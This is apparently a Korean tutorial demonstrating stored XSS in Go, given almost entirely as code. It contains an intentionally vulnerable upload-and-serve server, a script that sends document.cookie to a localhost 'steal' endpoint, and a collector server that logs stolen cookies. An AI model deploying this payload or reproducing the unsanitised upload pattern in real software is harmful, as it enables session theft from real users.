XSS 란 무엇인가 Golang을 통해서 알아보기

 1package main
 2
 3import (
 4	"fmt"
 5	"io"
 6	"net/http"
 7	"os"
 8)
 9
10func uploadFileHandler() http.HandlerFunc {
11	return func(w http.ResponseWriter, r *http.Request) {
12		if r.Method == "POST" {
13			// 1. 파일을 추출
14			file, _, err := r.FormFile("uploadedFile")
15			if err != nil {
16				http.Error(w, err.Error(), http.StatusBadRequest)
17				return
18			}
19			defer file.Close()
20
21			// 2. 파일 내용을 읽음
22			fileBytes, err := io.ReadAll(file)
23			if err != nil {
24				http.Error(w, err.Error(), http.StatusInternalServerError)
25				return
26			}
27
28			// 3. 파일 내용을 서버의 임시 파일로 저장
29			err = os.WriteFile("uploadedScript.html", fileBytes, 0644)
30			if err != nil {
31				http.Error(w, err.Error(), http.StatusInternalServerError)
32				return
33			}
34
35			fmt.Fprintf(w, "File uploaded successfully")
36		}
37	}
38}
39
40func serveContentHandler() http.HandlerFunc {
41	return func(w http.ResponseWriter, r *http.Request) {
42		http.ServeFile(w, r, "uploadedScript.html")
43	}
44}
45
46func main() {
47	http.HandleFunc("/", uploadFileHandler())
48	http.HandleFunc("/content", serveContentHandler())
49
50	fmt.Println("Server started at :8080")
51	http.ListenAndServe(":8080", nil)
52}

 1// xss.html
 2
 3<script>
 4function sendCookies() {
 5    var xhr = new XMLHttpRequest();
 6    xhr.open("GET", "http://localhost:8081/steal?cookie=" + encodeURIComponent(document.cookie), true);
 7    xhr.send();
 8}
 9
10sendCookies();
11</script>

 1package main
 2
 3import (
 4	"fmt"
 5	"log"
 6	"net/http"
 7)
 8
 9func main() {
10	http.HandleFunc("/steal", func(w http.ResponseWriter, r *http.Request) {
11		enableCors(&w)
12
13		// 쿼리 파라미터에서 "cookie" 값을 가져옵니다.
14		cookie := r.URL.Query().Get("cookie")
15		// 콘솔에 출력합니다.
16		fmt.Printf("Stealed Cookie: %s\n", cookie)
17
18		w.WriteHeader(http.StatusOK)
19		fmt.Fprint(w, "OK")
20	})
21
22	log.Println("공격자 서버 8081 포트에서 시작...")
23	log.Fatal(http.ListenAndServe(":8081", nil))
24}
25
26func enableCors(w *http.ResponseWriter) {
27	(*w).Header().Set("Access-Control-Allow-Origin", "*")
28}